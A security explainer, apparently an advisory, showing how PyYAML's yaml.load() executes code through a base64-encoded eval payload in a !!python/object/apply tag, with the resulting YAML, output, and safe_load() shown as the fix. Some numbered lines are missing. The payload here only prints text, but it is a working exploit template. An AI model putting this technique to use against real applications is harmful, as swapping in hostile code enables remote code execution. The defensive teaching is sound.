3
The [PyYaml docs](http://pyyaml.org/wiki/PyYAMLDocumentation#LoadingYAML) have
4
details on why using ```yaml.load()``` with untrusted user data is very scary.
6
```yaml.load()``` can lead to remote code execution - ```yaml.safe_load()```
7
should be used whenever parsing untrusted YAML.
11
We'll use [Paul McMillan's
12
gist](https://gist.github.com/PaulMcMillan/c4d560471dd529fdf9f3) to demonstrate
13
why ```yaml.load()``` is scary. We start by defining a few things for our
14
exploit, starting with ```exploit.py``` will look like:
19
In order to get ```yaml.load()``` to properly execute our Python, we have to do
20
some careful encoding.
22
encoded = ("eval(compile('%s'.decode('base64'), '<string>', 'exec'))" % exploit.encode('base64').replace('\n', ''))
25
After executing the above, our ```encoded``` variable looks like:
26
```"eval(compile('cHJpbnQgIldJTk5BIFdJTk5BIgo='.decode('base64'), '<string>', 'exec'))"```
28
Next, we build the actual YAML object:
30
yaml_object = ('\nupgrade_helper: !!python/object/apply:eval ["%s",]\n' % encoded)
33
This results in ```yaml_object``` looking like:
35
'\nupgrade_helper: !!python/object/apply:eval ["eval(compile(\'cHJpbnQgIldJTk5BIFdJTk5BIgo=\'.decode(\'base64\'), \'<string>\', \'exec\'))",]\n'
38
We then take that ```yaml_object``` and print it to a file ```exploit.yaml```, it will look like:
40
upgrade_helper: !!python/object/apply:eval ["eval(compile('cHJpbnQgIldJTk5BIFdJTk5BIgo='.decode('base64'), '<string>', 'exec'))",]
43
Ok, all the setup is done. All we need to do now is
44
```yaml.load(open("exploit.yaml").read())```. We can see from the output that
45
our ```print``` was executed and ```WINNA WINNA``` was printed to STDOUT:
47
>>> yaml.load(open("exploit.yaml"))
52
Use ```yaml.safe_load()``` instead of ```yaml.load()```. In the PoC above, if we
53
try to load ```exploit.yaml``` via ```safe_load()``` we get the following error:
55
>>> yaml.safe_load(open("exploit.yaml"))
56
Traceback (most recent call last):
58
yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply:eval'
59
in "exploit.yaml", line 1, column 17
63
* Remote code execution
66
* http://pyyaml.org/wiki/PyYAMLDocumentation#LoadingYAML
67
* https://gist.github.com/PaulMcMillan/c4d560471dd529fdf9f3